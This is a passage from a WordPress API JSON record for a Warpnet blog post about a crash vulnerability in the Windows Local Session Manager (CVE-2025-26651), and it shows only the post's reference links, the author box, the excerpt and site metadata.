rel=\"noopener\">https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-tsts\/0fb8dffb-3d82-43ca-8c09-6f62e36cfc9a<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2025-26651\" target=\"_blank\" rel=\"noopener\">https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2025-26651<\/a><\/li>\n<\/ul>\n\n\n\n<div style=\"height:41px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"has-large-font-size\" style=\"font-style:normal;font-weight:500\">Dit artikel is geschreven door Remco<\/p>\n\n\n\n<div class=\"wp-block-columns are-vertically-aligned-center is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:25%\"><div class=\"wp-block-image is-style-rounded\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2412\" height=\"2412\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120.jpg\" alt=\"\" class=\"wp-image-7213\" style=\"aspect-ratio:1;object-fit:cover\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120.jpg 2412w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120-300x300.jpg 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120-1024x1024.jpg 1024w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120-150x150.jpg 150w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120-768x768.jpg 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120-1536x1536.jpg 1536w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120-2048x2048.jpg 2048w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120-12x12.jpg 12w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4A2A2120-1080x1080.jpg 1080w\" sizes=\"(max-width: 2412px) 100vw, 2412px\"\/><\/figure>\n<\/div><\/div>\n\n\n\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"has-text-color has-medium-font-size\" style=\"color:#1d2537\"><strong>Remco van der Meer<\/strong><br>Ethisch Hacker<\/p>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\"><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Revealing a vulnerability in Windows Local Session Manager (LSM) that causes it to crash<\/p>","protected":false},"author":17,"featured_media":7206,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","content-type":"","footnotes":""},"categories":[14],"tags":[],"class_list":["post-7194","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"acf":[],"_links":{"self":[{"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/posts\/7194","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/users\/17"}],"replies":[{"embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/comments?post=7194"}],"version-history":[{"count":12,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/posts\/7194\/revisions"}],"predecessor-version":[{"id":7223,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/posts\/7194\/revisions\/7223"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/media\/7206"}],"wp:attachment":[{"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/media?parent=7194"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/categories?post=7194"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/tags?post=7194"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}